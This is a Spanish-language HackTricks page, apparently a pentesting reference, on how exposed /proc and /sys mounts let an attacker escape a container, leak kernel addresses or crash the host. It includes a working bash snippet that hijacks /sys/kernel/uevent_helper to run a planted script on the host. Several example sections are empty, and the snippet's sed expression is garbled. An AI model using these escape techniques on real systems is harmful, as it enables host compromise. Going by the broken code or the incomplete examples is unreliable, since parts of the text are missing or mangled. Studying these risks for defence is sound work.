Sensitive Mounts
Last updated
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
La exposición de /proc
y /sys
sin un aislamiento de espacio de nombres adecuado introduce riesgos de seguridad significativos, incluida la ampliación de la superficie de ataque y la divulgación de información. Estos directorios contienen archivos sensibles que, si están mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga del contenedor, modificación del host o proporcionar información que facilite ataques adicionales. Por ejemplo, montar incorrectamente -v /proc:/host/proc
puede eludir la protección de AppArmor debido a su naturaleza basada en rutas, dejando /host/proc
desprotegido.
Puedes encontrar más detalles de cada posible vulnerabilidad en https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
/proc/sys
Este directorio permite el acceso para modificar variables del kernel, generalmente a través de sysctl(2)
, y contiene varios subdirectorios de interés:
/proc/sys/kernel/core_pattern
Descrito en core(5).
Permite definir un programa para ejecutar en la generación de archivos core con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecución de código si el archivo comienza con un pipe |
.
Ejemplo de Prueba y Explotación:
/proc/sys/kernel/modprobe
Detallado en proc(5).
Contiene la ruta al cargador de módulos del kernel, invocado para cargar módulos del kernel.
Ejemplo de Verificación de Acceso:
/proc/sys/vm/panic_on_oom
Referenciado en proc(5).
Una bandera global que controla si el kernel entra en pánico o invoca al OOM killer cuando ocurre una condición de OOM.
/proc/sys/fs
Según proc(5), contiene opciones e información sobre el sistema de archivos.
El acceso de escritura puede habilitar varios ataques de denegación de servicio contra el host.
/proc/sys/fs/binfmt_misc
Permite registrar intérpretes para formatos binarios no nativos basados en su número mágico.
Puede llevar a la escalada de privilegios o acceso a shell de root si /proc/sys/fs/binfmt_misc/register
es escribible.
Explicación y explotación relevante:
Tutorial detallado: Enlace al video
/proc
/proc/config.gz
Puede revelar la configuración del kernel si CONFIG_IKCONFIG_PROC
está habilitado.
Útil para que los atacantes identifiquen vulnerabilidades en el kernel en ejecución.
/proc/sysrq-trigger
Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones críticas.
Ejemplo de Reinicio del Host:
/proc/kmsg
Expone mensajes del búfer de anillo del kernel.
Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar información sensible del sistema.
/proc/kallsyms
Enumera símbolos exportados del kernel y sus direcciones.
Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
La información de direcciones está restringida con kptr_restrict
establecido en 1
o 2
.
Detalles en proc(5).
/proc/[pid]/mem
Interactúa con el dispositivo de memoria del kernel /dev/mem
.
Históricamente vulnerable a ataques de escalada de privilegios.
Más en proc(5).
/proc/kcore
Representa la memoria física del sistema en formato core ELF.
La lectura puede filtrar contenidos de memoria del host y de otros contenedores.
Un tamaño de archivo grande puede causar problemas de lectura o bloqueos de software.
Uso detallado en Volcado de /proc/kcore en 2019.
/proc/kmem
Interfaz alternativa para /dev/kmem
, que representa la memoria virtual del kernel.
Permite lectura y escritura, por lo tanto, modificación directa de la memoria del kernel.
/proc/mem
Interfaz alternativa para /dev/mem
, que representa la memoria física.
Permite lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas.
/proc/sched_debug
Devuelve información de programación de procesos, eludiendo las protecciones del espacio de nombres PID.
Expone nombres de procesos, IDs e identificadores de cgroup.
/proc/[pid]/mountinfo
Proporciona información sobre los puntos de montaje en el espacio de nombres de montaje del proceso.
Expone la ubicación del rootfs
o imagen del contenedor.
/sys
/sys/kernel/uevent_helper
Utilizado para manejar uevents
de dispositivos del kernel.
Escribir en /sys/kernel/uevent_helper
puede ejecutar scripts arbitrarios al activar uevents
.
Ejemplo de Explotación: %%%bash
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo change > /sys/class/mem/null/uevent
cat /output %%%
/sys/class/thermal
Controla la configuración de temperatura, potencialmente causando ataques de denegación de servicio o daños físicos.
/sys/kernel/vmcoreinfo
Filtra direcciones del kernel, comprometiendo potencialmente KASLR.
/sys/kernel/security
Alberga la interfaz securityfs
, permitiendo la configuración de Módulos de Seguridad de Linux como AppArmor.
El acceso podría permitir que un contenedor deshabilite su sistema MAC.
/sys/firmware/efi/vars
y /sys/firmware/efi/efivars
Expone interfaces para interactuar con variables EFI en la NVRAM.
La mala configuración o explotación puede llevar a laptops inutilizables o máquinas host no arrancables.
/sys/kernel/debug
debugfs
ofrece una interfaz de depuración "sin reglas" al kernel.
Historial de problemas de seguridad debido a su naturaleza no restringida.
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)